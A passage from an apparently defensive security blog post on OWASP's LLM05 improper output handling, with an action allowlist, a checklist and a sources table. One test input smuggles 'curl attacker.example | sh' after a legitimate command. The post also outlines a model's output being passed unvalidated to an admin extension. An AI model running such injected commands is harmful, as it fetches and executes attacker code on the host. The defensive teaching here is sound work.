</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> subprocess<span style="color:#f92672">.</span>run(argv, capture_output<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, text<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, timeout<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, check<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)<span style="color:#f92672">.</span>stdout
</span></span></code></pre></div><p>In our test, <code>&quot;uptime&quot;</code> ran the command, and <code>&quot;uptime; curl attacker.example | sh&quot;</code> was rejected because it isn&rsquo;t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.</p>
<p>The same logic applies to agent tools that call internal APIs. OWASP&rsquo;s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.</p>
<h2 id="a-checklist">A checklist</h2>
<ul>
<li>List every place model output goes: browser, database, shell, file system, email, other APIs, other models.</li>
<li>For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.</li>
<li>Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.</li>
<li>Take identity and authorization from the session, never from model output.</li>
<li>Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.</li>
<li>Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.</li>
<li>Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.</li>
</ul>
<p>These controls limit what a manipulated model can do. They don&rsquo;t stop the manipulation, which is OWASP&rsquo;s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our <a href="/posts/ssrf-explained-how-server-side-request-forgery-works-and-how-to-prevent-it/">SSRF explainer</a> covers the SSRF outcome OWASP mentions.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<p>Checked on October 22, 2026.</p>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Verification</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>LLM05:2025 definition, difference from overreliance, possible outcomes, impact conditions, common examples, mitigations (treat model as a user, ASVS, context-aware encoding, parameterized queries, CSP, logging), scenarios</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/">OWASP Top 10 for LLM Applications 2025: LLM05 Improper Output Handling</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>LLM01:2025 is Prompt Injection</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">OWASP LLM01:2025</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Sanitizer output for the test input</td>
          <td>Run by us on October 22, 2026 (Python-Markdown 3.10.3, nh3 0.3.7)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>SQL pattern accepts valid input and rejects the three bad inputs</td>
          <td>Run by us on October 22, 2026 (Pydantic 2.13.5, SQLite in memory)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Action allowlist rejects an injected command string</td>
          <td>Run by us on October 22, 2026</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python-Markdown passes raw HTML through</td>
          <td>Observed in our test with version 3.10.3</td>
          <td>Verified for that version</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item></channel></rss>